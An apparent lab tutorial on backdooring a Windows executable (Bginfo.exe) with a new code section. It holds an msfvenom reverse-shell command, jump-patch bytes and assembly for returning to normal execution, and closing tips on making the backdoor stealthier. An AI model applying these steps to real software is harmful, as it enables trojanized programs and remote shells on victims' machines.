The purpose of this lab is to learn the Portable Executable (PE) backdooring technique by adding a new readable/writable/executable code section with our malicious shellcode to any portable executable file.
High level process of this technique:
Add a new RWX PE section, big enough to hold our shellcode, to any .exe file
Add shellcode to the newly created PE section
Redirect execution flow of the .exe file being backdoored to the shellcode
Redirect execution flow back to the legitimate .exe instructions
The last two steps are a bit more complicated and will have more details below.
First of, let's generate the shellcode so we know how many bytes of space we will need in the new PE section:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
Note that the shellcode size is 324 bytes - the new PE section will have to be at least that big.
I randomly chose Bginfo.exe from sysinternals as a binary to be backdoored. Let's add a new PE section called
.code1 that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes:
Note the Raw Address of the new section which is CD200 - this is where we will place the shellcode inside the file in later steps.
Let's make the new PE section writable/executable and mark it as
contains code using CFF Explorer:
Let's copy the shellcode over to the new code section, starting at 0xCD200 into the file:
Let's see if we can force the Bginfo.exe binary to execute our shellcode using debugger first. We need to find the base address of Bginfo.exe, which we see is 0x00400000:
Since the new section .code1 that holds our shellcode has an RVA 000D8000, we can find the shellcode in a running process at 00400000+00d8000 = 4D8000. Below shows that the bytes at cd200 (file offset) match those at 4d8000 while the bginfo.exe is running:
When debugging the binary, if we set the EIP to point to 4D8000 and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bginfo.exe:
In previous paragraph we confirmed the shellcode can be executed, but we did this manually, with help of a debugger. Now let's patch the binary, so that the process is automated and does not require our intervention.
The process of patching the binary to redirect the code execution flow is as follows:
Find the first instruction that is 5 bytes in size inside the bginfo.exe binary
We will overwrite this instruction with a jump to the shellcode as explained in step 2
Prior to overwriting this instruction, write it down somewhere - we will need to append it to our shellcode later in order to restore the code execution flow
Write down the address of the next instruction to be executed next - after the shellcode has been executed, stack and registers restored, we will jump back to this address to let the bginfo.exe continue as normal
Overwrite the instruction in step 1 with a jump to the shellcode at 4D8000
Save registers' and flags' state by prepending the shellcode with
pushfd instructions - we do this so we can restore their state before redirecting the execution back to bginfo.exe and avoid any crashes
Remember the ESP register value - we will need this when calculating by how much the stack size grew during the shellcode execution. This is required in order to restore the stack frame before redirecting the code execution back to bginfo.exe
Modify the shellcode:
Make sure that
WaitForSingleObject does not wait indefinitely and does not freeze bginfo.exe once the shellcode is executed
Remove the last instruction of the shellcode
call ebp to prevent the shellcode from shutting down of bginfo.exe
Note the ESP value and the end of shellcode execution - this is related to point 4 and 7
Restore the stack pointer ESP to what it was after the shellcode executed
pushfd as explained in step 3, with
add esp, <ESP_POST_SHELLCODE - ESP_PRE_SHELLCODE>. This is where ESPs from point 4 and 7 comes in to play
Restore registers with
Append the shellcode with the instruction we had overwritten in step 1
Restore code execution back to bginfo by jumping back to the next instruction after the owerwritten one as explained in 1.3
Let's now hijack the bginfo.exe code execution flow by overwriting any instruction that is 5 bytes in size - again - this is how many bytes we need for a
jmp address instruction.
One of the first 5-byte instructions we can see is
mov edi, bb40e64e at 00467b29:
Let's overwrite the instruction at 00467b29 with an instruction
jmp 0x004d8000 which will make the bginfo jump to our shellcode located at 0x004d8000 when executed:
There are multiple ways to overwrite the instructions at 00467b29 - either assemble the bytes using a debugger or patch the binary via a hex editor which is what I did. I found the bytes
bf 4e e6 40 bb (bytes found at 00467b29 when bginfo is in memory) in the bginfo.exe (screenshot below) and replaced them with bytes
e9 d2 04 07 00 which translates to jmp
bgfinfo.d48000 (jump to our shellcode, above screenshot).
Below shows how the code redirection works and we jump to 4d8000 (shellcode) location once we hit the instruction at 00467b29:
If we try running the patched binary now, we can see it results in a reverse shell, however the bginfo.exe itself is not visible - we will need to fix that:
The reason the bginfo.exe is not showing any UI is because the thread is blocked by the shellcode call to
WaitForSingleObject function (see definition below). It's called with an argument
INFINITE (-1 or 0xFFFFFFFF), meaning the thread will be blocked forever.
DWORD WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds);
The below screenshot shows that EAX points to
WaitForSingleObject which is going to be jumped to with
jmp eax at 004d8081. Note the stack - it contains the thread handle (28c) to block and the wait time FFFFFFFF == INFINITE which is the second argument for
dec esi at 004d811b changes ESI value to -1 (currently ESI = 0), which is the value pushed to the stack as an argument
Let's NOP that instruction, so that ESI stays unchanged at 0, which means that
WaitForSingleObject will wait 0 seconds before unblocking the UI:
Next, we need to patch the
call ebp instruction at 004d8144 if we don't want the shellcode to close the bginfo.exe process:
We will do this by replacing this instruction with an instruction that will restore our stack frame pointer ESP to what it was before we started executing our shellcode, but after we executed
pushfd instructions as mentioned in point 7.
From earlier, the
ESP after executing the shellcode was
Which means that the stack grew by 204h bytes:
Knowing all of the above, we need to:
restore the stack by increasing the ESP by 0x204 bytes
restore registers and flags with
re-introduce the instruction we previously had overwritten with a jump to our shellcode
jump back to the next instruction after the overwritten instruction that made the jump to the shellcode
All the above steps in assembly would be:
add esp, 0x204popfdpopadmov edi, 0xbb40e64ejmp 0x00467B2E
The below screenshot shows the very end of the shellcode with the above instructions encircled:
If we save the patched binary and launch it - we can see that the reverse shell gets popped and the bginfo.exe is launched successfully:
This technique is not particularly stealthy. Rather than adding a new code section to the binary, it's better to attempt locating large spaces of unused bytes inside existing code sections, called code caves. To further improve stealthiness of this technique, you may want to consider encoding/encrypting your shellcode and executing it when user performs certain interaction with the binary you are backdooring, for example, invokes Help > About dialog box.